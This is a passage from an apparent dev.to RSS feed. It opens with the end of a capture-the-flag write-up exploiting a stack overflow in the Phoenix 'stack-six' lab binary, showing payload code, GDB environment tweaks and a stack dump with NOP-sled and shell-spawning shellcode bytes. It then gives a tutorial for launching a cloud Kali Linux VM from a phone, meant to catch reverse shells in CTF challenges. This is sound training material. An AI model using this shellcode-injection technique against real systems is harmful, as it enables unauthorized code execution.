&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;fake_rbp&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;When we debug the program with our payload we get a shell!&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag_asciinema"&gt;
  
&lt;/div&gt;



&lt;p&gt;However, trying outside GDB we segfault 😢 Turns out GDB adds some environment variables and that affects the stack. To get a more accurate view of the stack, we run the following commands before running the program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  &lt;span class="nb"&gt;unset env &lt;/span&gt;LINES
gef➤  &lt;span class="nb"&gt;unset env &lt;/span&gt;COLUMNS
gef➤  &lt;span class="nb"&gt;set env &lt;/span&gt;_ /opt/phoenix/amd64/stack-six
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Hit the breakpoint in &lt;code&gt;greet&lt;/code&gt; and dump out the stack. Notice the addresses have changed.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  x/32gx &lt;span class="nv"&gt;$rsp&lt;/span&gt;
0x7fffffffe4d0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4e0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4f0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe500: 0x9090909090902075  0x9090909090909090
0x7fffffffe510: 0x9090909090909090  0x9090909090909090
0x7fffffffe520: 0x9090909090909090  0x9090909090909090
0x7fffffffe530: 0xbb48c03190909090  0xff978cd091969dd1
0x7fffffffe540: 0x52995f5453dbf748  0x41050f3bb05e5457
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x4141414141414141  0x4141414141414141
0x7fffffffe570: 0x4141414141414141  0x4141414141414141
0x7fffffffe580: 0x00007fffffffe580  0x00000000004007e9
0x7fffffffe590: 0x00007fffffffe608  0x00000001ffffe618
0x7fffffffe5a0: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe5b0: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5c0: 0x0000000000000000  0x00007fffffffe600
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Update the least significant byte from &lt;code&gt;80&lt;/code&gt; to &lt;code&gt;a0&lt;/code&gt; and we should be golden.&lt;/p&gt;


&lt;div class="ltag_asciinema"&gt;
  
&lt;/div&gt;



</description>
      <category>security</category>
      <category>ctf</category>
      <category>pwn</category>
    </item>
    <item>
      <title>Spin up a free Kali Linux instance with just your phone!</title>
      <dc:creator>zuoshihua</dc:creator>
      <pubDate>Wed, 06 Jan 2021 05:05:29 +0000</pubDate>
      <link>https://dev.to/zuoshihua/spin-up-a-free-kali-linux-instance-with-just-your-phone-3m8h</link>
      <guid>https://dev.to/zuoshihua/spin-up-a-free-kali-linux-instance-with-just-your-phone-3m8h</guid>
      <description>&lt;p&gt;Getting a Kali Linux instance up and running has become so convenient, one doesn’t need a computer!&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;Unrestricted File upload challenges in CTFs are very common these days. A file containing executable code is uploaded to achieve remote code execution (RCE). If a reverse shell is uploaded, how does one handle the callback?&lt;/p&gt;

&lt;p&gt;If your attacking machine is in the same network as the challenge server, it would be very straightforward: configure the reverse shell to callback the attack box's IP. But what if you're accessing the challenge server via the internet? Configuring your reverse shell to callback your private IP won't work.&lt;/p&gt;

&lt;p&gt;The easiest solution is to deploy a virtual machine in the cloud, since it has a public IP. But what if we could take it a step further?&lt;/p&gt;




&lt;h3&gt;
  
  
  Mobile hacking
&lt;/h3&gt;

&lt;p&gt;I don't mean hacking mobile devices, but hacking with a mobile device. How is that even possible? By exploiting cloud providers and some SSH.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Choose a cloud provider
&lt;/h4&gt;

&lt;p&gt;I recommend Microsoft Azure. It provides a ready to deploy Kali Linux instance and free $100 credit if you are eligible for &lt;a href="https://azure.microsoft.com/en-us/free/students/"&gt;Azure for Students&lt;/a&gt;. I'll be using that $100.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bhnoqWo2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/go4dygakwmphaqy2v7v1.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bhnoqWo2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/go4dygakwmphaqy2v7v1.jpeg" alt="f1" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5M97tzJJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/cl2mk1iabfuxv3dxdb28.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5M97tzJJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/cl2mk1iabfuxv3dxdb28.jpeg" alt="f2" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Configure a new virtual machine
&lt;/h4&gt;

&lt;p&gt;Select “Virtual machines”. Create a new virtual machine and call it whatever you want. I’ll put “kali”. For the image, select “Browse all public and private images” and search for “Kali Linux”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--G8MySEl8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/xtjk52idfdk6nyuctmdp.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--G8MySEl8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/xtjk52idfdk6nyuctmdp.jpeg" alt="f3" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Decide on the size of this machine. Size simply means performance specs. Larger sizes (better specs) cost more. I chose “Standard_B1ls” which is the cheapest. You can change to a larger size if you feel it’s too slow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YqadjfU1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/bk9rzmwpuevwoxc4g915.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YqadjfU1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/bk9rzmwpuevwoxc4g915.jpeg" alt="f4" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Now configure the Administrator account. I’ll choose password based authentication for the sake of this demonstration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--998WzTJJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/6rlossa3m5pdilv5j4n7.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--998WzTJJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/6rlossa3m5pdilv5j4n7.jpeg" alt="f5" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Tap next till you reach “Review + Create”. The virtual machine will be created once validation has passed. A short while later, you should receive this notification. Tap “Go to resource”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dg9Crg54--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/a7kh4eber1dqo30fti01.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dg9Crg54--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/a7kh4eber1dqo30fti01.jpeg" alt="f6" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Get connected
&lt;/h4&gt;

&lt;p&gt;Note down the public IP address. Let’s connect to it via SSH. I’m using an Android device so I’ll use &lt;a href="https://play.google.com/store/apps/details?id=com.sonelli.juicessh&amp;amp;hl=en"&gt;JuiceSSH&lt;/a&gt; app. For Apple devices there’s &lt;a href="https://apps.apple.com/sg/app/termius-ssh-client/id549039908"&gt;Termius&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bxd8uUIG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/adxwswcnxdrgh31kv9mq.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bxd8uUIG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/adxwswcnxdrgh31kv9mq.jpeg" alt="f7" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Select “Quick Connect” and enter your username and your public IP in the following format: &lt;code&gt;username@your.public.ip.address&lt;/code&gt;. Then enter your password when prompted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3uiSVKiE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/o17ia9pixzrd6phj1i0a.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3uiSVKiE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/o17ia9pixzrd6phj1i0a.jpeg" alt="f8" width="720" height="1600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Enjoy your new instance :)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RFzffK9H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/a5c9umxqf8suz2zffdbx.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RFzffK9H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/a5c9umxqf8suz2zffdbx.jpeg" alt="f9" width="720" height="1600"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;In retrospect, there are many benefits to launching a virtual machine in the cloud other than a public IP. Running virtual machines is a very resource intensive task. Enough RAM is crucial and so is a fast CPU. Not to mention, storage becomes an issue as virtual machines grow in size. Good hardware costs money. On top of that, there are configuration issues, stability issues… I could go on. But that's for another post.&lt;/p&gt;

</description>
      <category>azure</category>
      <category>kali</category>
    </item>
  </channel>
</rss>
